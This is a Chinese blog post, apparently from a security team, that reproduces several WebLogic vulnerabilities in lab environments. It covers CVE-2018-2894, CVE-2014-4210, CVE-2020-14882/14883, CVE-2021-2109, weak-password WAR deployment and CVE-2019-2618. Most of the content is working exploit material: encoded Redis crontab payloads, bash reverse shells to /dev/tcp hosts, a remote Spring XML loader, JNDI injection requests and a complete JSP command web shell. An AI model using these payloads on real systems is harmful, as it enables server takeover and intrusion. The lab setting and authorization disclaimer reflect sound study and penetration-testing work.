weblogic重要漏洞全记录(下)
免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
只供对已授权的目标使用测试,对未授权目标的测试作者不承担责任,均由使用本人自行承担。
上篇:
下篇:
WebLogic 未授权访问漏洞(CVE-2018-2894)
概述
WebLogic 未授权访问漏洞(CVE-2018-2894),存在两个未授权的页面,可以上传任意文件,但是这两个页面只在开发环境下存在
影响版本:12.1.3.0, 12.2.1.2, 12.2.1.3
漏洞路径:/ws_utc/config.do 、 /ws_utc/begin.do
漏洞复现
进入CVE-2018-2894的docker环境
这里我们首先打开docker的开发环境。这里因为不是弱口令的docker,所以这里我们执行命令看一下进入后台的密码
docker-compose logs | grep password
使用得到的密码登入后台,点击高级选项
勾选启用web服务测试页
保存即可进入开发环境
开发环境下的测试页有两个,分别为config.do和begin.do
第一个上传点/ws_utc/config.do
首先进入/ws_utc/config.do文件进行设置,将目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的,这一点很重要。
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
点击添加后上传一个jsp
提交之后点击F12审查元素得到jsp上传后的时间戳
构造得到
http://192.168.111.224:7001/ws_utc/css/config/keystore/1631522785686_shell.jsp
即可连接
第二个上传点/ws_utc/begin.do
访问http://192.168.111.224:7001/ws_utc/begin.do,上传一个jsp
点击提交,这里显示一个error不用管它,在响应包中可以看到上传地址:
构造http://192.168.111.224:7001/ws_utc/css/upload/RS_Upload_2021-09-13_09-06-54_496/import_file_name_shell.jsp
连接:
Weblogic SSRF漏洞(CVE-2014-4210)
概述
Oracle WebLogic Web Server既可以被外部主机访问,同时也允许访问内部主机。比如有一个jsp页面SearchPublicReqistries.jsp,我们可以利用它进行攻击,未经授权通过weblogic server连接任意主机的任意TCP 端口,可以能冗长的响应来推断在此端口上是否有服务在监听此端口,进而攻击内网中redis、fastcgi等脆弱组件。
影响版本
10.0.2.0
10.3.6.0
验证漏洞
访问该路径,如果能正常访问,说明存在该漏洞
/uddiexplorer/SearchPublicRegistries.jsp
漏洞复现
vulhub ssrf环境
访问/uddiexplorer/SearchPublicRegistries.jsp,填写任意信息,点击search,抓包
抓包之后在Burp中右键,选择Change request method, 将POST请求改变成GET 。
参数operator为SSRF的可控参数,将其更改为开放的端口,如http://127.0.0.1:7001/,将返回error code
发现返回如下信息,说明开放7001端口,但是不是http协议
An error has occurred<BR>weblogic.uddi.client.structures.exception.XML_SoapException: The server at http://127.0.0.1:7001 returned a 404 error code (Not Found). Please ensure that your URL is correct, and the web service has deployed without error.
若开放端口为HTTP协议,则会返回did not have a valid SOAP content-type。
访问不存在的端口,将返回could not connect over HTTP to server
weblogic SSRF联动Redis
漏洞复现
依旧用的上面的vulhub-weblogic-SSRF靶场
这里查一下开启redis服务的这个容器IP,找到ip:172.20.0.2
docker inspect 39
可以看见6379的端口存在,且为http协议
本机监听12345端口
burp改包直接将弹shell脚本到本机kail上(192.168.111.205)
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.111.205/12345 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
经过url编码后,写入bp中operator参数的后面:
operator=http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.111.205%2F12345%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
反弹shell成功。
Weblogic Console HTTP协议远程代码执行漏洞(CVE-2020-14882/CVE-2020-14883)
概述
CVE-2020-14883是越权漏洞,常常和后台代码注入CVE-2020-14882配合,有的时候CVE-2020-14882会不好使,此时可以和CVE-2021-2109配合。
未经身份验证的远程攻击者可能通过构造特殊的 HTTP GET请求,利用该漏洞在受影响的 WebLogic Server 上执行任意代码。它们均存在于WebLogic的Console控制台组件中。此组件为WebLogic全版本默认自带组件,且该漏洞通过HTTP协议进行利用。将CVE-2020-14882和CVE-2020-14883进行组合利用后,远程且未经授权的攻击者可以直接在服务端执行任意代码,获取系统权限。
影响版本:
10.3.6.0
12.1.3.0
12.2.1.3
12.2.1.4
14.1.1.0
漏洞复现
使用vulhub的CVE-2020-14882环境
CVE-2020-14883
权限绕过漏洞的poc:
http://127.0.0.1:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29
访问该url之后,进入如下页面,可以看见成功进入管理台:
但是这里没有部署安装的按钮,也就是说不能像常规进入后台后写shell进去,这里就需要用到远程加载XML文件拿shell
CVE-2020-14882
首先测试以下漏洞代码执行是否成功,在/tmp/下创建一个test文件夹
访问
http://127.0.0.1:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch /tmp/test%27);%22);
得到如下界面
我们进入docker查看发现文件夹已经创建成功了:
sudo docker ps
sudo docker exec -it f3a72643602a /bin/bash
这里创建一个xml文件pox.xml,使用bash命令得到反弹shell
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/192.168.111.205/6666 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
nc开启监听端口,访问
http://127.0.0.1:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://192.168.111.205/poc.xml")
即可得到反弹shell
CVE-2021-2109
概述
CVE-2020-14883是越权漏洞,可以和CVE-2021-2109配合使用。
CVE-2021-2109:攻击者可构造恶意请求,造成JNDI注入,执行任意代码,从而控制服务器。
影响版本:
WebLogic 10.3.6.0.0
WebLogic 12.1.3.0.0
WebLogic 12.2.1.3.0
WebLogic 12.2.1.4.0
WebLogic 14.1.1.0.0
漏洞复现
访问console登陆页面
http://192.168.2.7:7001/console/login/LoginForm.jsp
启动LDAP
下载地址:
https://github.com/feihong-cs/JNDIExploit/releases/tag/v.1.11
启动命令
java -jar JNDIExploit-v1.11.jar -i http://192.168.2.7/
POC:
GET /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.2;7:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
Host: 192.168.2.7:7001
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
cmd: id
Cookie: ADMINCONSOLESESSION=heYqQ2eUftBPoL7QV1UkuV_OIGBCFx-EF-gwXjcfSZUPtbw-p-YM!144315005
Upgrade-Insecure-Requests: 1
Weblogic弱口令&&后台getshell
概述
由于管理员的安全意识不强,或者配置时存在疏忽,会导致后台存在弱口令或者默认的用户名/口令。
弱口令参考:https://cirt.net/passwords?criteria=WebLogic
影响版本
全版本
漏洞复现
访问http://127.0.0.1:7001/console
自动重定向到http://127.0.0.1:7001/console/login/LoginForm.jsp,使用弱口令登陆后台(默认用户名weblogic ,我设置的密码admin888)。
点击部署->安装
点击上载文件,
选择war包,点击下一步
(PS: 将jsp马打包成war包命令: jar -cvf shell.war shell.jsp)
上传完成以后选中你上传的文件,点击下一步
选中作为应用程序安装,点击下一步
然后直接点击完成即可
选用我们安装的应用,点击启动即可
访问:http://ip:port/[war包名]/[包名内文件名]
这里是http://192.168.0.163:7001/shell/shell.jsp
连接:
CVE-2019-2618/CVE-2019-2615
需要后台密码,比较鸡肋。但其一般不会被删除接口,所以可以用来确认是否为weblogic,以及5次爆破密码。
/bea_wls_deployment_internal/DeploymentService
/bea_wls_management_internal2/wl_management
WebLogic 任意文件上传(CVE-2019-2618)
概述
CVE-2019-2618漏洞主要是利用了WebLogic组件中的DeploymentService接口,该接口支持向服务器上传任意文件。攻击者突破了OAM(Oracle Access Management)认证,设置wl_request_type参数为app_upload,构造文件上传格式的POST请求包,上传jsp木马文件,进而可以获得整个服务器的权限。
受影响WebLogic版本:10.3.6.0、12.1.3.0、12.2.1.3。
漏洞复现
漏洞前提是需要先知道weblogic的账号密码。(安装时设置的账户和密码为weblogic/weblogic)
构造的POST包如下所示:
POST /bea_wls_deployment_internal/DeploymentService HTTP/1.1
Host: 192.168.111.129:7001
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
username: weblogic
wl_request_type: app_upload
cache-control: no-cache
wl_upload_application_name: /../tmp/_WL_internal/bea_wls_internal/9j4dqk/war
serverName: weblogic
password: yourpassword
content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
archive: true
server_version: 10.3.6.0
wl_upload_delta: true
Content-Length: 1081
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="shell.jsp"; filename="shell.jsp"
Content-Type: false
<%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
Commands with JSP
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<BR>");
Process p;
if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){
p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));
}
else{
p = Runtime.getRuntime().exec(request.getParameter("cmd"));
}
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
</pre>
</BODY></HTML>
------WebKitFormBoundary7MA4YWxkTrZu0gW--
发送数据包 ,返回了上传文件的地址:
去访问发现执行成功:
Weblogic 任意文件读取(CVE-2019-2615)
该漏洞是任意文件读取漏洞,这个漏洞接口是文件下载相关功能使用的接口,也是weblogic server中内部使用的正常功能,所以该漏洞需要weblogic的用户名密码
技术交流
交流群
关注公众号回复“加群”,添加Z2OBot 小K自动拉你加入Z2O安全攻防交流群分享更多好东西。
知识星球
团队建立了知识星球,不定时更新最新漏洞复现,手把手教你,同时不定时更新POC、内外网渗透测试骚操作。感兴趣的可以加一下。
往期文章:
Powershell 免杀过 defender 火绒,附自动化工具Z2OBot
点一下爱心再走吧!